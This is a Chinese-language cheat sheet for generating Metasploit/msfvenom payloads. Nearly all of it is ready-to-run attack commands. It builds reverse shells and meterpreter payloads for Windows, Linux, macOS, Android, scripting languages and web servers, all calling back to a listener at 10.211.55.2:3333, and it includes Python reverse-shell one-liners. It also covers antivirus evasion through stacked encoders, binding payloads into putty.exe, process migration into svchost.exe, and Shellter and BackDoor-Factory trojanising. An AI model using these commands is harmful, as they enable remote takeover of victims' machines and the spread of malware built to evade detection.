msfvenom 常见参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -p,-payload<payload>指定需要使用的payload -l,-list[module_type]列出指定模块的所有可用资源,模块类型包括:payloads,encoders, nops, all -n,-nopsled<length>为payload预先指定一个NOP滑动长度 -f,-format<format>指定输出格式 -e,-encoder[encoder]指定需要使用的encoder(编码器) -a,-arch<architecture>指定payload的目标架构,例如x86|x64|x86_64 -platform<platform>指定payload的目标平台 -s,-space<length>设定有效攻击载荷的最大长度,文件大小 -b,-bad-chars<list>设定规避字符集,指定需要过滤的坏字符('\x0f'、'\x00') -i,-iterations<count>指定payload的编码次数 -c,-add-code<path>指定一个附加的win32 shellcode文件 -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中,就是捆绑的意思 -k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行 –payload-options 列举payload的标准选项 -o, –out < path> 指定创建好的payload的存放位置 -v, –var-name < name> 指定一个自定义的变量,以确定输出格式 –shellest 最小化生成payload -h, –help 查看帮助选项 –help-formats 查看msf支持的输出格式列表
监听参数 防止假死与假session 1 msf exploit(multi/handler) > set ExitOnSession false //可以在接收到seesion后继续监听端口,保持侦听。
防止session意外退出 1 2 3 4 msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0 msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
handler后台持续监听 1 msf exploit(multi/handler) > exploit -j -z
payload的可持续化 1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程
绕过杀软 使用reverse_https等payload时可以使用下列方法bypass部分杀软
1 2 3 4 5 6 msf exploit(multi/handler) > set EnableStageEncoding true //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀 EnableStageEncoding => true msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov Stageencoder => x64/xor msf exploit(multi/handler) > set stageencodingfallback false stageencodingfallback => false
使用reverse_tcp_rc4也有同样的效果,而且不能设置stageencoder选项,更稳定更方便
1 msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec -f c
各平台payload生成 window 1 2 3 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe
linux 1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf
Mac 1 msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho
android 1 2 3 msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk
powershell 1 msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
Netcat 正向连接
1 msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe
反向连接
1 msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe
shellcode lunix 1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c
windows 1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c
mac 1 msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c
脚本 Python反弹shell 1 2 3 msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
Python正向shell 1 2 3 4 python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect((" 10.211.55.2",3333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
bash 1 msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh
perl 1 msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl
lua 1 msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua
ruby 1 msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb
web php 1 msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php
aspx 1 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
asp 1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp
jsp 1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp
war 1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war
nodejs 1 msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js
Handlers 1 2 3 4 5 6 use exploit/multi/handler set PAYLOAD <Payload name>set LHOST 10.211.55.2set LPORT 3333set ExitOnSession false exploit -j -z
自编码处理 1 2 3 msfvenom --list encoders //所有编码方式 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe //使用x86/shikata_ga_nai对payload进行编码
自捆绑免杀 1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -x putty.exe -f exe -o payload3.exe //将payload与putty.exe捆绑在一起
自捆绑+编码 1 2 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 - f exe -o payload4.exe
多重编码 1 2 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe
shikata_ga_nai编码20次,alpha_upper编码10次,countdown编码10次
msf evasion 生成exe 1 2 3 4 5 6 7 show evasion(查看evasion的模块) use windows/windows_defender_exe set filename payload.exeset payload windows/meterpreter/reverse_tcpset LHOSTset LPORTrun
Shellter kali
shellter //进入shellter
选择模式Auto 输入我们要捆绑的软件
隐匿模式会影响免杀效果 payload选择windows/reverse_tcp
BackDoor-Factory 检测exe是否符合条件:
1 backdoor-factory -f exe路径 -S
加载自定义shellcode shellcode为raw格式
1 2 3 backdoor-factory -f exe路径 -s user_supplied_shellcode_threaded -U shellcode路径 -o payload.exe
参考来源:https://github.com/TideSec/BypassAntiVirus